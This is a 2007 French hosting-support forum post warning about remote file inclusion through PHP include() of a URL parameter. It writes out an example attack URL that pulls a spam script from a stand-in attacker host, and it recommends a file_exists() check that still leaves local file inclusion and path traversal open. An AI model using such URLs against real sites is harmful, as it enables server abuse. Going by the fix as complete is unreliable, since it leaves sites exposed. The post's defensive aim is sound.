Forum de support
Juillet 03, 2009, 03:37:38 *
Bienvenue, Invité. Veuillez vous connecter ou vous inscrire.

Connexion avec identifiant, mot de passe et durée de la session

Résolvez vos problèmes de vocabulaire avec Lexi-Web.com Lexi-Web est conseillé par Alpes Hosting

 
Google
   Accueil   Aide Identifiez-vous Inscrivez-vous  
Pages: [1]
  Imprimer  
Auteur Fil de discussion: Attention aux INCLUDE dans les pages PHP  (Lu 3518 fois)
0 Membres et 1 Invité sur ce fil de discussion.
AlpesHosting
Administrator
Sr. Member
*****
Hors ligne Hors ligne

Messages: 311


L'informatique autrement


WWW
« le: Février 20, 2007, 09:00:04 »

INCLUDE est une fonction sympathique en PHP  qui permet d'intégrer un fichier dans un autre.

Je peux ainsi avoir une page index.php, qui contient le gabarit de mon site web, dans laquelle je fais un include d'une page passée en paramètre, ce qui donne comme lien:
index.php?page=accueil.html
et dans ma page index.php j'aurai ce morceau de script:
include ("$page");

Ce type de code est très pratique, mais surtout plus que dangereux.

En effet on peut ainsi appeler une page externe avec un script permettant d'envoyer du Spam par exemple, cela en mettant dans la barre d'adresse du navigateur ce type de lien:
http://monsite.tld/index.php?page=http://sitedupirate.tld/monscriptdespam.php

Ainsi un pirate utilisera le serveur sur lequel vous êtes hébergé pour envoyer du Spam (ou faire d'autres choses encore plus dangereuses) à partir de ses propres scripts hébergés n'importe ou.

Voici le moyen d'éviter ce type de piratage:
Il suffit de remplacer le code ci-dessus:  include ("$page");
Par celui-ci:

if(file_exists($page))
{
require ("$page");
}
else
{
include 'mapageaccueil.html';
}


Ce petit script qui fait aussi l'include de la page contenue dans la variable $page, teste avant l'include la présence locale du fichier que l'on demande d'afficher (if file_exists) et si le fichier n'existe pas comme dans l'exemple d'un pirate qui essayerait d'exécuter sa propre page, alors c'est une page d'accueil ou un page d'alerte qui est affichée.

Un moyen simple, mais efficace.
Journalisée

--------------------------------------------------------------------
Hébergement de site internet
Votre domaine en .FR (Bureau AFNIC)
Pages: [1]
  Imprimer  
 
Aller à:  

Propulsé par MySQL Propulsé par PHP Powered by SMF 1.1.3 | SMF © 2005, Simple Machines LLC XHTML 1.0 Transitionnel valide ! CSS valide !
Page générée en 0.061 secondes avec 18 requêtes.